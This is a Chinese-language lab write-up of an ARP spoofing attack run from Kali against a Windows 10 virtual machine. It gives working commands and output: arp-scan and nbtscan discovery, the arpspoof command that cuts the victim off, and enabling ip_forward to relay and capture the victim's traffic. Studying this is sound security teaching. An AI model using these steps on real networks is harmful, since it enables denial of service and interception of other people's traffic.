ARP 攻击小实验

一、实验环境：

攻击目标：局域网内手机终端或电脑终端
攻击机：kali（网络模式调为桥接）

二、实验过程：

2.1 通过扫描发现局域网目标，可使用 arp-scan 扫描，nbtscan 扫描，也可以直接上 nmap。

arp-scan ip-ip

```
root@kali:/# arp-scan 192.168.190.1-192.168.190.254
Interface: eth0, type: EN10MB, MAC: 00:0c:29:1d:d9:e2, IPv4: 192.168.190.130
Starting arp-scan 1.9.7 with 254 hosts (https://github.com/royhills/arp-scan)
192.168.190.1   00:50:56:c0:00:08       VMware, Inc.
192.168.190.2   00:50:56:e9:26:2c       VMware, Inc.
192.168.190.133 00:0c:29:fb:d3:df       VMware, Inc.
192.168.190.254 00:50:56:f6:10:53       VMware, Inc.

13 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 254 hosts scanned in 2.025 seconds (125.43 hosts/sec). 4 responded
```

Arp-scan 扫描发现扫描结果不是很直观，使用 nbtscan -r ip 试试

```
root@kali:/# nbtscan -r 192.168.190.1-192.168.190.254
Doing NBT name scan for addresses from 192.168.190.1-192.168.190.254

IP address       NetBIOS Name     Server    User             MAC address
------------------------------------------------------------------------------
192.168.190.130  <unknown>                  <unknown>
192.168.190.133  DESKTOP-JL13LIM  <server>  <unknown>        00:0c:29:fb:d3:df
root@kali:/#
```

扫描发现扫描出来 130 和 133 两个 IP，经查本机（kali）ip 为 130

```
root@kali:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.190.130  netmask 255.255.255.0  broadcast 192.168.190.255
        inet6 fe80::20c:29ff:fe1d:d9e2  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:1d:d9:e2  txqueuelen 1000  (Ethernet)
        RX packets 18872  bytes 6177899 (5.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 14127  bytes 1051021 (1.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

2.2 通过 arpspoof 对局域网主机 130 发起网络攻击，使其无法连接网络

发起攻击网络端口 eth0,攻击目标：192.168.190.133，攻击目标所在网关：192.168.190.2（虚拟机网关）

```
C:\Users\cpx>ping 114.114.114.114 -t

正在 Ping 114.114.114.114 具有 32 字节的数据:
来自 114.114.114.114 的回复: 字节=32 时间=70ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=58ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=44ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=32ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=61ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=73ms TTL=128
```

kali:~# arpspoof -i eth0 -t 192.168.190.133 192.168.190.2，然后发现 190.133 的主机断网了

```
来自 114.114.114.114 的回复: 字节=32 时间=28ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=28ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=29ms TTL=128
请求超时。
请求超时。
请求超时。
请求超时。
请求超时。
```

此时我们在被攻击机 win10 系统查看 arp 缓存表会发现，arp 缓存变了

变化前：

```
连接特定的 DNS 后缀 . . . . . : localdomain
描述. . . . . : Intel(R) 82574L Gigabit Network Connection
物理地址. . . . . : 00-0C-29-FB-D3-DF
DHCP 已启用 . . . . . : 是
自动配置已启用. . . . . : 是
本地链接 IPv6 地址. . . . . : fe80::c85d:179e:ca4c:a8d7%3(首选)
IPv4 地址 . . . . . : 192.168.190.133(首选)
子网掩码 . . . . . : 255.255.255.0
获得租约的时间 . . . . . : 2021年1月20日 21:02:19
租约过期的时间 . . . . . : 2021年1月20日 21:32:19
默认网关. . . . . : 192.168.190.2
DHCP 服务器 . . . . . : 192.168.190.254
DHCPv6 IAID . . . . . : 117443625
DHCPv6 客户端 DUID . . . . . : 00-01-00-01-27-92-AF-C4-00-0C-29-FB-D3-DF
DNS 服务器 . . . . . : 192.168.190.2
主 WINS 服务器 . . . . . : 192.168.190.2
TCPIP 上的 NetBIOS . . . . . : 已启用
```

变化后：

```
C:\Users\cpx>arp -a

接口: 192.168.190.133 --- 0x3
  Internet 地址         物理地址              类型
  192.168.190.2         00-0c-29-1d-d9-e2     动态
  192.168.190.130       00-0c-29-1d-d9-e2     动态
  192.168.190.254       00-50-56-f6-10-53     动态
  192.168.190.255       ff-ff-ff-ff-ff-ff     静态
  224.0.0.22            01-00-5e-00-00-16     静态
  224.0.0.251           01-00-5e-00-00-fb     静态
  224.0.0.252           01-00-5e-00-00-fc     静态
  239.255.255.250       01-00-5e-7f-ff-fa     静态
  255.255.255.255       ff-ff-ff-ff-ff-ff     静态
```

2.3 临时开启路由功能使被攻击电脑通过攻击机 kaLi 联网

Kali 默认状态下 ip_forward 文件值为 0，是没有开启路由功能的

cat /proc/sys/net/ipv4/ip_forward

```
root@kali:/# cat /proc/sys/net/ipv4/ip_forward
0
root@kali:/#
```

通过以下命令行将其值改为 1

echo 1 > /proc/sys/net/ipv4/ip_forward

```
root@kali:/# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:/# cat /proc/sys/net/ipv4/ip_forward
1
root@kali:/#
```

此时在开始 win10 系统进行攻击，同时开启抓包

```
C:\Windows\system32>ping 114.114.114.114 -t

正在 Ping 114.114.114.114 具有 32 字节的数据:
来自 114.114.114.114 的回复: 字节=32 时间=27ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=30ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=43ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=31ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=31ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=29ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=27ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=30ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=32ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=28ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=28ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=33ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=30ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=29ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=31ms TTL=128
来自 114.114.114.114 的回复: 字节=32 时间=41ms TTL=128
```

icmp

No.	Time	Source	Destination	Protocol	Length	Info
203	50.316040318	192.168.190.133	114.114.114.114	ICMP	74	Echo (ping) request id=0x0001, seq=118/30208,
204	50.344519086	114.114.114.114	192.168.190.133	ICMP	74	Echo (ping) reply id=0x0001, seq=118/30208,
208	51.349195100	192.168.190.133	114.114.114.114	ICMP	74	Echo (ping) request id=0x0001, seq=119/30464,
209	51.349234481	192.168.190.133	114.114.114.114	ICMP	74	Echo (ping) request id=0x0001, seq=119/30464,
210	51.377056039	114.114.114.114	192.168.190.133	ICMP	74	Echo (ping) reply id=0x0001, seq=119/30464,